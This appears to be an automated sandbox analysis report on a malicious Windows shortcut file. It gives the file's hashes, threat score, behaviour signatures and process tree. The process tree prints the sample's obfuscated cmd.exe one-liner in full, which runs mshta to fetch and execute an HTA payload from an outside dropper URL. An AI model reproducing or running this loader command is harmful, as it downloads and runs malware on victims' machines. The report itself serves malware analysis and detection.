Analysis
- max time kernel
40s - max time network
40s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 16:49
Static task
static1
Behavioral task
behavioral1
Sample
DOC-1ZTA8O.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
DOC-1ZTA8O.lnk
Resource
win11ltsc2024-20260710-en
3 signatures
40 seconds
General
- Target DOC-1ZTA8O.lnk
- Size 2KB
- Sample260803-vb54katcmg
- SHA256 2068ea22d686b822ee8f084176bfbfde9eb5c234b6e9b6e403881e61318dae11
- MD5 79c19234ee1e37ea60401bfcbb8d0156
- SHA1 77c707bb72998ba5a112e4daade5e4c2e1bb3c31
- SHA512 69a475b9fa153a8f409f7f09368882f8931ae698f43fb71553b32d032573584cd4d9a9b8b3ee6f503fcbae2a6b0ef4c2eddbc38445c223a64812be031cb8e8f8
- TLSH T1C75126803AED15D8F2BB8F72EEFA679049BBFA626D20D68D0450810D4521F45D977B23
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1556 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1556 wrote to memory of 4508 1556 cmd.exe 90 PID 4508 wrote to memory of 1108 4508 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-1ZTA8O.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1556 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D/v:on/C"set EbB=cfgpjalezrocwfekowbsccfg&set mpjC=inffldfaxnijhmpninf&set bb=bakrtvkobak&set vtKg=infzacujykqstolkinf&set ICAJd=0starq&&set Dpj=9tv3s&set YnVf=wintflcwin&set Encd=bakzauevsywfqaakwyowbak&set nee=tmpqwzyzmickhwbopwmmltmp&set Bl=cfgpolkuubcfg&set SiRC=mnmskz&&set Ri=n9htqm&&set AO=e0pacl&set NI=oldnzaamcxfpomold&set ezabU=datlsakugjoghpedat&set EPwr=tmpgkcgsoogqoegkipsttmp&set HC=bakxygcfpnglnbbbak&&set JSMrl=ht@tps:@/@/@m@a-pdf@fi@l@[email protected]@at/h/es@t@agio@1@.@p@h@p@?@r=@3@91@469@F@B5D@8@2@D@B&&start /b !SiRC:~2,2!!Ri:~2,2!!AO:~3,1! !JSMrl:@=!"2⤵
- Suspicious use of WriteProcessMemory
PID:4508 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:1108
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